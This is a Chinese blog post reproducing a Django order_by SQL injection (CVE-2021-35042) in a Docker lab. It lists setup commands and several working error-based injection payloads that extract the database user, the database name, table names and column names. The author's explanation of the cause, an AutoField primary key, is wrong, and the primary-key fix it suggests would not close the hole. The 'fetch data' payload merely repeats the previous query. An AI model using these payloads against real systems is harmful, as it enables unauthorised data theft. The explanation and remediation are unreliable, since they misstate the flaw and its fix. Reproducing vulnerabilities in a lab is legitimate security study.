Django之SQL隱碼攻擊漏洞復現(CVE-2021-35042)

2022-12-25 21:00:28

前言

SQL隱碼攻擊的原理是對web請求,表單或域名等提交查詢的字串沒有進行安全檢測過濾,攻擊者可以拼接執行惡意SQL命令,導致使用者資料洩露

漏洞原理

Django 元件存在 SQL 注入漏洞,該漏洞是由於對 QuerySet.order_by()中使用者提供資料的過濾不足,攻擊者可利用該漏洞在未授權的情況下,構造惡意資料執行 SQL 注入攻擊,最終造成伺服器敏感資訊洩露。

以下是我自己的理解,根據Django使用的框架中,他建立了apps.py並執行,會自動生成一個models.py

models.py呼叫了Collection的這個類

然後傳送到了這邊,而models又需要migrations來遷移檔案,其中呼叫了models.AutoField,而它如果在沒有增加id這個欄位的時候,會自動增加一個自增的資料庫型別的欄位id,但恰恰在此需要設為主鍵(primary_key=True)否則又會報錯,導致錯誤將id設定為主鍵,可以執行SQL命令且沒有被過濾

所以當order==id時會出現一個自增序列的資料(可以是ID也是等於id)

而當order=-ID又會出現問題,而列印出一些敏感資訊

*影響版本

Django 3.2
Django 3.1

環境搭建

靶機: 192.168.31.230

yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo //下載阿里的映象yum源

yum install docker-ce docker-ce-cli contaninerd.io

wget https://github.com/docker/compose/releases/download/1.25.0-rc4/docker-compose-Linux-x86_64 //下載docker-compose

service docker start
詳細docker搭建請參考此連結:https://www.cnblogs.com/BlogVice-2203/p/16977227.html

將CVE-2021-35042上傳到centos7

docker-compose build
docker-compose up -d  //啟動漏洞環境

環境啟動成功後,檢視http://your-ip:8000存取首頁

構造poc

查當前使用者
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20user())),1)%23

查當前資料庫
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23

查表
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)%23

查欄位
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x5c),1)%23

查欄位
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23

查資料
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23

修復建議

1.將除了id以外的其他欄位其中一個設定為主鍵(我自己對AutoField()的理解),這樣或許可以避免id成為主鍵自增,在資料庫中就沒有了主鍵id,就不會導致SQL隱碼攻擊產生
2.更新最新版本